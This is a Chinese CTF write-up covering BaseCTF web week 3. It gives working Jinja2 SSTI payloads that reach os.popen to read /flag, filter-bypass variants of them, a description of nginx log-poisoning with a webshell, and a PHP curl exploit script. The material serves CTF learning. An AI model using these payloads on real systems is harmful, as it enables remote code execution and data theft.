当前位置: 首页 > news >正文

BaseCTF_web_week3

复读机

        输入的东西会在下方显示出来,wp说是简单的SSTI,这里来学习一下SSTI


        SSTI模板注入

        根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的

        用户的输入返回时会经过一个模板渲染,SSTI漏洞就是用户插入了可以破坏模板的语句,导致了敏感信息泄露、rce等问题。

        不同的语言会有不同的模板框架。

        在这些框架中存在很多类,包括可以做到RCE的类。

        所以我们的目标就是要通过模板操作到可以进行RCE的类

        那么我们输入什么才会被当成模板注入呢?

       因为模板渲染的时候会把"{{}}"包裹的内容当做变量解析替换。比如,{{2*2}}会被解析成4所以,我们需要用  {{恶意代码}}  的形式来进行SSTI

        (所以{{2*2}}也被用作检测SSTI漏洞的方法)

        知道了这些就可以通过魔术方法,找到rce的类并rce获取flag

__class__   :返回类型所属的对象。
__base__   :返回该对象所继承的父类
__mro__     :返回该对象的所有父类
__subclasses__()  获取当前类的所有子类
__init__  类的初始化方法
__globals__  对包含(保存)函数全局变量的字典的引用

        假设我们知道一个当前类,通过__class__返回对象,然后用__mro__或者__base__返回父类,直到父类为object类(所有的类都是object类的子类),再用__sublasses__返回所有的子类,这样就能找到存在rce的类啦!

        以下是一些当前类的表示方式

''.__class__().__class__[].__class__"".__class__{}.__class__

        (ctfshow_web361) 

        所以我们可以构造{{''.__class__.__base__.__subclasses__}}查看所有类

        可以进行rce的类是——"os._wrap_close",所以我们需要找到这个类的序号

        可以复制粘贴去记事本,搜索os._wrap_close一下具体的位置(一般在130多)我这里是132

         之后用__init__初始化这个类,用__globals__寻找popen函数后可以直接命令执行,记得最后要加一个read()

        构造

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat%20/flag').read()}}

        这个格式稍微要记一下,目前只知道可以用os._wrap_close的popen 

        popen后的括号里直接写命令,不需要system

        说了这么多,也只是浅浅入门SSTI,之后还会有关于SSTI的绕过,这道复读机就是


        回到原题,这里我就整理一下官方wp(前面写的太多了)

        1.是过滤了{{}}、替换成{%print%}

        3.用"[]"替换"."

        2.过滤了斜杠和反斜杠,要读取flag只能通过其他函数拼凑一个"/"

                有三种方法

                利用 chr 函数来构造出一个命令

                (第一行让chr字符串等于chr函数)

                (第二行让cmd等于cat /flag)

                (第三行就正常输出)

BaseCTF{% set chr= ''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['_''_bui''ltins_''_']['chr']%}
{% set cmd='cat '~chr(47)~'flag' %}
{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen'](cmd)['rea''d']())%}

                利用环境变量的值

                查看环境变量,可以看到 OLDPWD=/

                直接利用它来切换到根目录,然后再读flag

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}

                利用 expr substr 切割出一个 /

                pwd 中的第一个字符就是 / ,那用 expr substr 切割出来后,之后就可以像上一个方法那样切换到根目录然后读 flag 了 

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`expr substr $a 1 1`;cd $a;cat flag')['rea''d']())%}

        滤个不停

        

        有几层过滤,终点是include()说明这里最终要往文件包含靠。

我们先一层一层看

        第一层很简单,就是post一个HelloWorld。

        

        第二层是一个匹配过滤,就是说我们上传Datch的参数必须要包含's', 'e', 'v', 'a', 'n', 'x', 'r', 'o'所有字母,并且要做到你上传的参数能够执行文件包含。

        而且后面还过滤了很多伪协议,这里只能试试日志注入了

        日志注入

        (这里是我之前写的关于日志注入的笔记)

        令人惊喜的是
        日志注入要上传的Datch=/var/log/nginx/access.log,居然包含了上面所有的字母,看来就是这么个考点

        我们在ua上传一句话木马,并构造/?Datch=/var/log/nginx/access.log,进行日志注入,然后就可以命令执行啦


玩原神玩的

        分析一下代码

        首先是一个$len,我们要上传len,使len[]的长度和array[]的长度相等。

        但是我们并不知道len的长度为多少,不过连续post数组就会默认添加到后一位

        但是有几位呢?

        (这里直接跳了tip,比较简单)

        之后能要post两个m,一个值为100%,第二个是love100%加上第一个值的md5哈希值

        post的时候记得url编码一下

        最后得出这么多md5值,分别就是flag的每一个的字符的md值

        这里可以写一个脚本爆破,思路是这样的

        循环遍历每一个字母,如果字母的md5值与位置数的异或等于之前给出的md5值,那么就确定了一个flag的字母。

        脚本如下(官方脚本)

for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}

        exp

<?php
highlight_file(__FILE__);
include 'flag.php';$challenge_url = "http://challenge.basectf.fun:42801/?";
$post = "";
for ($i = 0;$i < 45;$i++) {$post .= "len[]=" . $i . "&";
} // $_POST['len'] == sizeof($array)$get = "tip=" . "我要玩原神"; // $tip != "我要玩原神"$post .= "m[]=" . urlencode("100%") . "&m[]=" . urlencode("love100%" . md5("100%"));
echo '<br>' . 'URL: ' . $challenge_url . $get . '<br>';
echo 'POST Data: ' . $post . '<br>';$curl = curl_init();curl_setopt_array($curl, [CURLOPT_URL => $challenge_url . $get,CURLOPT_RETURNTRANSFER => true,CURLOPT_ENCODING => '',CURLOPT_MAXREDIRS => 10,CURLOPT_TIMEOUT => 30,CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,CURLOPT_CUSTOMREQUEST => 'POST',CURLOPT_POSTFIELDS => $post,CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded',],
]);$response = curl_exec($curl);
$err = curl_error($curl);curl_close($curl);if ($err) die('cURL Error #:' . $err);
preg_match('/\[\"(.*?)\"\]/', $response, $matches);if (empty($matches)) die("Invalid JSON");
$json = '["' . $matches[1] . '"]';
echo "MD5 Array: " . $json . '<br>';
$md5_array = json_decode($json, true);
$flag = '';for ($ii = 0; $ii < count($md5_array); $ii++) {for ($ascii = 0; $ascii < 256; $ascii++) {if (md5($ascii ^ $ii) === $md5_array[$ii]) {$flag .= chr($ascii);break;}}
}echo "Flag: " . $flag;

EZ_PHP_Jail

        

        首先是GET一个Jail_by.Happy,这里估计是一个php变量名的考点

        php非法字符转化规则

                php在8.0版本之前,传变量的时候如果变量含有空格、"+"、"."、"[",这些会变成"_"

                但是如果第一个是"[",那么后面的字符就不会被改变

这里就成功绕过了

        然后是一个绕过,绕过Jail变量的参数

        过滤了$ ` c a s require include,说明不能使用cat,tac,和文件包含

         不过文件包含还有highlight_file可以用

        还有很多读目录函数没用,比如print_r(glob("/*"));读取根目录

        [4]是flag

我们构造

?Jail[by.Happy=highlight_file(glob("/*")[4]);

        奇怪的是,官方wp里给出的是

?Jail[by.Happy=highlight_file(glob("/f*")[0]);

        也可以读取flag,有没有大佬知道这个是怎么回事QAQ


小结

       本来想week3和4一起写的,谁知道SSTI写了这么多QAQ

        主要涉及到的知识点有SSTI、日志注入、命令执行、php字符非法字符转化,学到了新东西也复习到了旧东西

相关文章:

BaseCTF_web_week3

复读机 输入的东西会在下方显示出来&#xff0c;wp说是简单的SSTI&#xff0c;这里来学习一下SSTI SSTI模板注入 根据My4n师傅的《超详细SSTI模板注入漏洞原理讲解_ssti注入-CSDN博客》写的 用户的输入返回时会经过一个模板渲染&#xff0c;SSTI漏洞就是用户插入了可以破坏模板…...

模型数据算法概论

模型数据算法是一类使用数据来构建、优化或训练数学模型的算法&#xff0c;常用于数据科学、机器学习和人工智能领域。它们的核心目标是从数据中提取模式或关系&#xff0c;以便在预测、分类或优化任务中应用。以下是一个简要的概述&#xff1a; 1. 模型 模型是用来描述数据特…...

什么是3DEXPERIENCE SOLIDWORKS,它有哪些角色和功能?

将业界领先的 SOLIDWORKS 3D CAD 解决方案连接到基于单一云端产品开发环境 3DEXPERIENCE 平台。您的团队、数据和流程全部连接到一个平台进行高效的协作工作&#xff0c;从而能快速的做出更好的决策。 目 录&#xff1a; ★ 1 什么是3DEXPERIENCE SOLIDWORKS ★ 2 3DEXPERIE…...

Sigrity System SI Parallel Bus Analysis模式进行DDR3仿真分析-传输线模型

Sigrity System SI Parallel Bus Analysis模式进行DDR3仿真分析-传输线模型 Sigrity System SI Parallel Bus Analysis模式提供了简易的已搭建好的模板,方便用户直接在模板上替换数据文件进行仿真分析,下面介绍pba_simple_em模板的使用,具体操作如下 双击启动System SI启动界…...

MacOS下PostIn安装配置指南

PostIn是一款开源免费的接口管理工具&#xff0c; 下面介绍私有部署版本的MacOS下安装与配置。私有部署版本更适合有严格数据安全要求的企业&#xff0c;实现对数据和系统的完全控制。 &#xfeff; &#xfeff; 1、MacOS服务端安装 Mac安装包下载地址&#xff1a;下载Mac安…...

【Leetcode 每日一题】2545. 根据第 K 场考试的分数排序

问题背景 班里有 m m m 位学生&#xff0c;共计划组织 n n n 场考试。给你一个下标从 0 0 0 开始、大小为 m n m \times n mn 的整数矩阵 s c o r e score score&#xff0c;其中每一行对应一位学生&#xff0c;而 s c o r e [ i ] [ j ] score[i][j] score[i][j] 表示…...

一文速通 IIC I2C子系统驱动 通信协议原理 硬件 时序 深度剖析

本文作为一个引入&#xff0c;作用是让读者理解熟知IIC协议关键内容&#xff0c;结合实际手册内容&#xff0c;深度解析协议本质&#xff0c;作为后续嵌入式linux驱动IIC子系统的一个铺垫。 目录 1. 硬件连接 2. IIC传输时序 2.1.写操作 2.2.读操作 2.3.I2C信号 3.IIC协议…...

HarmonyOS(72)事件拦截处理详解

事件拦截 1、参考资料2、HitTestMode3、onTouchIntercept、onTouch、onClick事件执行顺序3.1、系统默认事件传递顺序3.2、子组件拦截事件1、参考资料 HarmonyOS(71) 自定义事件分发之TouchTestStrategy使用说明HarmonyOS(70) ArkUI 事件分发拦截,事件冲突解决方案HitTestModea…...

docker(wsl)命令 帮助文档

WSL wsl使用教程 wsl -l -v 列出所有已安装的 Linux 发行版 wsl -t Ubuntu-22.04 --shutdown 关闭所有正在运行的WSL发行版。如果你只想关闭特定的发行版 wsl -d Ubuntu-22.04 登录到Ubuntu环境 wsl --list --running 查看正在wsl中运行的linux发行版 wsl --unregister (系统名…...

nginx 拦截指定ip访问指定 url

nginx 拦截指定ip访问指定 url 这里需要注意的是一定要用$http_x_forwarded_for 这个变量 upstream myapp1 { # 定义一个名为myapp1的服务器组 server backend1.example.com weight5; # 添加一个服务器&#xff0c;并设置权重为5 server backend2.example.com; # 添加另…...

git仓库的基本概念和流程以及一些基本命令

什么是版本库&#xff1f;版本库又名仓库&#xff0c;英文名repository,你可以简单的理解一个目录&#xff0c;这个目录里面的所有文件都可以被Git管理起来&#xff0c;每个文件的修改&#xff0c;删除&#xff0c;Git都能跟踪&#xff0c;以便任何时刻都可以追踪历史&#xff…...

Intel-ECI之Codesys PLC + Ethercat 远端IO + Codesys IDE编程

目录 一、 准备工作 二、安装Codesys 软件 PLC 三、 使用Codesys IDE 编程测试 CODESYS* 是领先的独立于制造商的 IEC 61131-3 自动化软件&#xff0c;适用于工程控制系统。它用于 Intel Edge Controls for Industrial&#xff08;Intel ECI 或 ECI&#xff09;&#xff0c;…...

互联网医院系统,互联网医院系统源码可供

互联网医院系统开发&#xff0c;其功能特点和优势在于实现了线上医疗服务与信息技术的深度融合。此系统旨在构建一个更为高效、便捷的医疗服务平台&#xff0c;提升患者的就医体验和医疗服务的效率。 一、功能特点 1、预约挂号与在线咨询 患者可通过系统进行预约挂号&#xf…...

Marin说PCB之POC电路layout设计仿真案例---06

我们书接上回啊&#xff0c;对于上面的出现原因我这个美女同事安娜说会不会你把POC电感下面的相邻两层的CUT_OUT的尺寸再去加大一些会不会变得更好呢&#xff1f;这个难道说是真的有用吗&#xff1f;小编我先自己算一卦看下结果。 本期文章我们就接着验证通过改善我们的单板POC…...

windwos defender实现白名单效果(除了指定应用或端口其它一律禁止)禁止服务器上网

一、应用场景说明 当我们的一台windows服务器中毒&#xff0c;变成别人肉鸡&#xff0c;不断向外请示非法网站或攻击其它服务器。 要彻底清除相关木马或病毒往往需要的时间比较长&#xff0c;比较有效的方法是禁止服务器主动向外发包除了网站端口和远程程序除外。 其实这就是一…...

Fiddler勾选https后google浏览器网页访问不可用

一、说明 最近电脑重新安装系统后&#xff0c;之前的所有工具都需要重新安装和配置&#xff0c;有个项目需要抓包https包查看一下请求的内容&#xff0c;通过Fiddler工具&#xff0c;但是开启后&#xff0c;发现https的无法抓取&#xff0c;同时google浏览器也不无法访问互联网…...

机器视觉检测相机基础知识 | 颜色 | 光源 | 镜头 | 分辨率 / 精度 / 公差

注&#xff1a;本文为 “keyence 视觉沙龙中机器视觉检测基础知识” 文章合辑。 机器视觉检测基础知识&#xff08;一&#xff09;颜色篇 视觉检测硬件构成的基本部分包括&#xff1a;处理器、相机、镜头、光源。 其中&#xff0c;和光源相关的最重要的两个参数就是光源颜色和…...

解决pytorch安装中的三个错误

查明已安装python版本为3.12.7后&#xff0c;创建虚拟环境。 报错内容&#xff1a;ArgumentError: one of the arguments -n/–name -p/–prefix is required 解决方式&#xff1a; 输入 conda create -n pytorch python3.8即可安装成功。 参考文章&#xff1a;https://blo…...

用Python开发高级游戏:实现3D迷宫游戏

Python虽然被认为是一门简单易学的语言,但它在游戏开发领域同样具有强大的潜力,尤其是结合诸如Pygame、Panda3D、PyOpenGL等框架,可以开发出复杂的游戏。 在本文中,我们将通过一个示例,介绍如何使用Python开发一个高级3D迷宫游戏。本文使用的框架是 Panda3D,一个专为3D游…...

基于 uniapp 开发 android 播放 webrtc 流

一、播放rtsp协议流 如果 webrtc 流以 rtsp 协议返回&#xff0c;流地址如&#xff1a;rtsp://127.0.0.1:5115/session.mpg&#xff0c;uniapp的 <video> 编译到android上直接就能播放&#xff0c;但通常会有2-3秒的延迟。 二、播放webrtc协议流 如果 webrtc 流以 webrt…...

Module Federation 和 Native Federation 的比较

前言 Module Federation 是 Webpack 5 引入的微前端架构方案&#xff0c;允许不同独立构建的应用在运行时动态共享模块。 Native Federation 是 Angular 官方基于 Module Federation 理念实现的专为 Angular 优化的微前端方案。 概念解析 Module Federation (模块联邦) Modul…...

QT: `long long` 类型转换为 `QString` 2025.6.5

在 Qt 中&#xff0c;将 long long 类型转换为 QString 可以通过以下两种常用方法实现&#xff1a; 方法 1&#xff1a;使用 QString::number() 直接调用 QString 的静态方法 number()&#xff0c;将数值转换为字符串&#xff1a; long long value 1234567890123456789LL; …...

【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)

1.获取 authorizationCode&#xff1a; 2.利用 authorizationCode 获取 accessToken&#xff1a;文档中心 3.获取手机&#xff1a;文档中心 4.获取昵称头像&#xff1a;文档中心 首先创建 request 若要获取手机号&#xff0c;scope必填 phone&#xff0c;permissions 必填 …...

今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存

文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...

七、数据库的完整性

七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...

【Linux】Linux 系统默认的目录及作用说明

博主介绍&#xff1a;✌全网粉丝23W&#xff0c;CSDN博客专家、Java领域优质创作者&#xff0c;掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围&#xff1a;SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…...

Windows安装Miniconda

一、下载 https://www.anaconda.com/download/success 二、安装 三、配置镜像源 Anaconda/Miniconda pip 配置清华镜像源_anaconda配置清华源-CSDN博客 四、常用操作命令 Anaconda/Miniconda 基本操作命令_miniconda创建环境命令-CSDN博客...

基于江科大stm32屏幕驱动,实现OLED多级菜单(动画效果),结构体链表实现(独创源码)

引言 在嵌入式系统中&#xff0c;用户界面的设计往往直接影响到用户体验。本文将以STM32微控制器和OLED显示屏为例&#xff0c;介绍如何实现一个多级菜单系统。该系统支持用户通过按键导航菜单&#xff0c;执行相应操作&#xff0c;并提供平滑的滚动动画效果。 本文设计了一个…...

32位寻址与64位寻址

32位寻址与64位寻址 32位寻址是什么&#xff1f; 32位寻址是指计算机的CPU、内存或总线系统使用32位二进制数来标识和访问内存中的存储单元&#xff08;地址&#xff09;&#xff0c;其核心含义与能力如下&#xff1a; 1. 核心定义 地址位宽&#xff1a;CPU或内存控制器用32位…...

深入解析 ReentrantLock:原理、公平锁与非公平锁的较量

ReentrantLock 是 Java 中 java.util.concurrent.locks 包下的一个重要类,用于实现线程同步,支持可重入性,并且可以选择公平锁或非公平锁的实现方式。下面将详细介绍 ReentrantLock 的实现原理以及公平锁和非公平锁的区别。 ReentrantLock 实现原理 基本架构 ReentrantLo…...